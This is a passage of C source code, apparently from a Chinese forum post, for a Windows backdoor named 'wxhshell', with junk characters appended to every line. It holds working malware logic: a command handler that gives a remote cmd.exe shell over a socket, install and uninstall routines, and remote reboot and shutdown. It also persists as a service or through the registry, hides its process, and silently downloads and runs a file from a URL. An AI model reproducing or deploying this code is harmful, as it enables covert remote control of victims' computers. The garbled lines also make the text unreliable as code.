  // 帮助 ^mi4q[PM  
  case '?': { A-5 +#  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +&OqJAu  
    break; !qlGt)G3  
  } mB{{o}'<u  
  // 安装 ??Zmj:8E'  
  case 'i': { X}(0y  
    if(Install()) 9$&e~^&B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~t={ \,X\  
    else F"xO0t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~-5@- V  
    break; D,\=zX;  
    } prtxE&-  
  // 卸载 k`TJ<Dv;  
  case 'r': { >|)0Amt  
    if(Uninstall()) ImY.HB^&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >x4[7YAU{  
    else d8HB2c5y0i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n5.>;N.*  
    break; PQ}%}S7:  
    } |l xy< C4V  
  // 显示 wxhshell 所在路径 |a{]P=<q  
  case 'p': { `fZD%o3l  
    char svExeFile[MAX_PATH]; au|^V^m  
    strcpy(svExeFile,"\n\r"); 9Yyg}l:  
      strcat(svExeFile,ExeFile); Nb~dw;t  
        send(wsh,svExeFile,strlen(svExeFile),0); zXZ'nJ5OGG  
    break; /\rq$W_  
    } <(4#4=ivP  
  // 重启 ,SF.@^o@a  
  case 'b': { 8[)]3K x  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6#M0AG  
    if(Boot(REBOOT)) -vHr1I<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); aMQjoamz  
    else { A Vm{#^p[(  
    closesocket(wsh); N?;o_^C  
    ExitThread(0); `mjx4Lb  
    } k-V I9H!,  
    break; jJ!-hg4?]  
    } ).C!  
  // 关机 Wk\@n+Q {]  
  case 'd': { p{q!jm~Nq  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 4q13xX  
    if(Boot(SHUTDOWN)) c1kxKxE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]<gCq/V#  
    else { KC:4  
    closesocket(wsh);  YX`=M  
    ExitThread(0); T:dm0iau  
    } _AYC|R|  
    break; RX5.bVp eE  
    } kLt9; <L  
  // 获取shell ;#s}b1  
  case 's': { liqR#<  
    CmdShell(wsh); iN_D8dI  
    closesocket(wsh); lVdT^"~3  
    ExitThread(0); M~Qj'VVL  
    break; |90 +)/$4  
  } Xexe{h4t_>  
  // 退出 Pzp+I}  
  case 'x': { f&}A!uLe4x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); &3Z. #*  
    CloseIt(wsh); &4Con%YU[  
    break; HI\f>U  
    } d:hL )x  
  // 离开 sD8 m<   
  case 'q': { NOr <,  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); }{xN`pZ  
    closesocket(wsh); 2l@"p!ar=  
    WSACleanup(); =HY1l}\  
    exit(1); @f{_=~+  
    break; 8ts+'65|F  
        } ,LW+7yD  
  } E0 eQ9BXh  
  } C`n9/[,#  
HNy/ -  
  // 提示信息 =6L*!JP<  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +K%pxuVh  
} pzq; vMr  
  } {HHh.K  
r1oku0o  
  return; ) wY!/&  
} g&+Y{*Gp  
qC1U&b#MVx  
// shell模块句柄 H5rPq_R  
int CmdShell(SOCKET sock) tB7K&ssi  
{ n2d8;B#  
STARTUPINFO si; N3gNOq&  
ZeroMemory(&si,sizeof(si)); 0UGiPH,()  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d"I28PIS"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TcD[Teu  
PROCESS_INFORMATION ProcessInfo; 1Vf78n  
char cmdline[]="cmd"; oY%"2PW1B  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); n<?SZ^X{,/  
  return 0; T+WZE  
} 5BHOHw D{  
dGsS<@G  
// 自身启动模式 hA*Z'.[  
int StartFromService(void) gf3U#L}P  
{ V+O0k: o  
typedef struct G7Z vfLR{:  
{ I{42'9  
  DWORD ExitStatus; 0aC 2 Pym^  
  DWORD PebBaseAddress; Wk`bb!P_  
  DWORD AffinityMask; 6KEykw j  
  DWORD BasePriority; lC=N:=Mu  
  ULONG UniqueProcessId; }2ql?K  
  ULONG InheritedFromUniqueProcessId; m\/,cc@,  
}   PROCESS_BASIC_INFORMATION; 7k[pvd|L  
9$o<  
PROCNTQSIP NtQueryInformationProcess; EK?@Z.q+  
G; C8Kde  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; OG`|td  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; goDV2 alC^  
)C>}"#J>  
  HANDLE             hProcess; ZU-4})7uSB  
  PROCESS_BASIC_INFORMATION pbi; M!Z*QY."P  
hIVI\U,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3cOY0Z#T  
  if(NULL == hInst ) return 0; jVad)2D  
*%X6F~h(u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ;GE26Ymqly  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Cs:+93w  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^n&]HzT`y  
s>jr1~~3O_  
  if (!NtQueryInformationProcess) return 0; X-kXg)!Bg  
]6{(Hjt  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _BG8/"h32  
  if(!hProcess) return 0; &so-O90  
-RG8<bI,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; P>*Fj4 Z~  
}+Rgx@XZ\  
  CloseHandle(hProcess); s, n^  
/!=U +X  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *wC\w  
if(hProcess==NULL) return 0; ]?0{(\  
Nfv="t9e  
HMODULE hMod; K,f* SXM  
char procName[255]; \G$QNUU  
unsigned long cbNeeded; @[MO,J&h  
+"cRhVR  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); + a-wv  
#K=b%;>  
  CloseHandle(hProcess); N;-/wip  
xwPI  
if(strstr(procName,"services")) return 1; // 以服务启动 >u=%Lz"J  
h6u2j p(+  
  return 0; // 注册表启动 q&zny2])  
} J>`v.8y  
WD15pq l  
// 主模块 iH-bo@  
int StartWxhshell(LPSTR lpCmdLine) 2E$^_YT C  
{ Hf VHI1f  
  SOCKET wsl; z)4UMR#b&  
BOOL val=TRUE; ;>NP.pnA)  
  int port=0; 9wL!D3e {Q  
  struct sockaddr_in door; P+Wm9xR2d  
zlH28V  
  if(wscfg.ws_autoins) Install(); h&lyxYZ+T$  
UTZ776`S&X  
port=atoi(lpCmdLine); `6&`wKz  
~Fy`>*  
if(port<=0) port=wscfg.ws_port; P}HC(S1  
f:]u`ziM  
  WSADATA data; JC=dYP}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; di7A/ B  
Da-u-_~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B@ -|b  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); hZcmP"wgC1  
  door.sin_family = AF_INET; k+FMZ, D|  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); L e*`r2  
  door.sin_port = htons(port); 0|g[o:;fl_  
WtIMvk  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }N?g|  
closesocket(wsl); wHx}U M"  
return 1; ?RHn @$g8M  
} 'X9AG6K1  
lM>.@:  
  if(listen(wsl,2) == INVALID_SOCKET) { 6N"m?g*Z d  
closesocket(wsl); rwy+~  
return 1; H4t)+(:D'  
} Zr=ib  
  Wxhshell(wsl); d$pYo)8o({  
  WSACleanup(); ^f9>l;Lb  
!X-9Ms}(d  
return 0; j(j#0dXLh  
[w!C*_V 9  
} G\R*#4cF  
T/ik/lFI  
// 以NT服务方式启动 w&%9IJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) sa*g  
{ gNqAj# m  
DWORD   status = 0; axX{6  
  DWORD   specificError = 0xfffffff; u t$c)_  
j !`B'{cH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; xA92 C  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; IroPx#s:i  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; /0(%(2jIWl  
  serviceStatus.dwWin32ExitCode     = 0; *ot> WVB  
  serviceStatus.dwServiceSpecificExitCode = 0; FH.f- ZU  
  serviceStatus.dwCheckPoint       = 0; 1I ""X]I_  
  serviceStatus.dwWaitHint       = 0; "# !D|[h0  
P$g^vS+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (~JwLe@a  
  if (hServiceStatusHandle==0) return; rvwa!YY}  
W RF.[R"  
status = GetLastError(); 0LdJZP  
  if (status!=NO_ERROR) yNBv-oe5  
{ <:">mV+/  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e!GZSk   
    serviceStatus.dwCheckPoint       = 0; YxXq I  
    serviceStatus.dwWaitHint       = 0; Goxl3LS<  
    serviceStatus.dwWin32ExitCode     = status; HmMO*k<6@  
    serviceStatus.dwServiceSpecificExitCode = specificError; ! D$Ooamq  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "tUwo(K[  
    return; hUh+JW  
  } UbO4%YHt  
5Tedo~v  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vwmBUix  
  serviceStatus.dwCheckPoint       = 0; !scD|ti  
  serviceStatus.dwWaitHint       = 0; {=67XrWN1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); }Al YNEY  
} onwjn+"&  
l-<`m#/v  
// 处理NT服务事件,比如:启动、停止 lbTV$A  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;r.EC}>m  
{ Lkn4<'un  
switch(fdwControl) -jB3L:  
{ TkRmV6'w  
case SERVICE_CONTROL_STOP: ziiwxx_  
  serviceStatus.dwWin32ExitCode = 0; "oR@JbdX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; @ &pqt6/t  
  serviceStatus.dwCheckPoint   = 0; -U >y   
  serviceStatus.dwWaitHint     = 0; 7/aOsW"6  
  { #Y2i*:<  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus);  S(  
  } Or8kp/d  
  return; E$A3|rjnoN  
case SERVICE_CONTROL_PAUSE: ~Wei|,w'<  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /`3 #4=5-  
  break; FQk!d$BG  
case SERVICE_CONTROL_CONTINUE: iG#}`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; kJT+  
  break; wksl0:BL  
case SERVICE_CONTROL_INTERROGATE: :QPf~\w?  
  break; rOcg+5  
}; Y]Vq\]m\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); BRzfic :e  
} 0J9D"3T)  
\vRd}   
// 标准应用程序主函数 GSi>l,y'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $=)gpPT  
{ 'RbQj}@x  
* ?]~ #  
// 获取操作系统版本 PX2c[CDE^  
OsIsNt=GetOsVer(); ~e-z,:Af  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6KRO{QK  
[%pRfjM  
  // 从命令行安装 *z8|P#@  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0^3+P%(o@  
\~~}N4  
  // 下载执行文件 sILSey5`  
if(wscfg.ws_downexe) { ]{GDS! )  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #+k*1 Jg  
  WinExec(wscfg.ws_filenam,SW_HIDE); @1:0h9%  
} Z6Fp\aI8@  
ok{!+VCB5  
if(!OsIsNt) { esX)"_xf  
// 如果时win9x,隐藏进程并且设置为注册表启动 jQ+sn/ROp  
HideProc(); ++jAz<46  
StartWxhshell(lpCmdLine); 4<gb36)|4  
} Mxl]"?z  
else =r 9r~SR#  
  if(StartFromService()) 5T?-zFMM  
  // 以服务方式启动 ?!'Zf Q:zK  
  StartServiceCtrlDispatcher(DispatchTable); iM]o"qOQm  
else !h`kX[:  
  // 普通方式启动 Ef)yQ  
  StartWxhshell(lpCmdLine); *F`A S>  
"@/62b  
return 0; hgj <>H|  
}
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只看该作者 1 发表于: 2006-10-10
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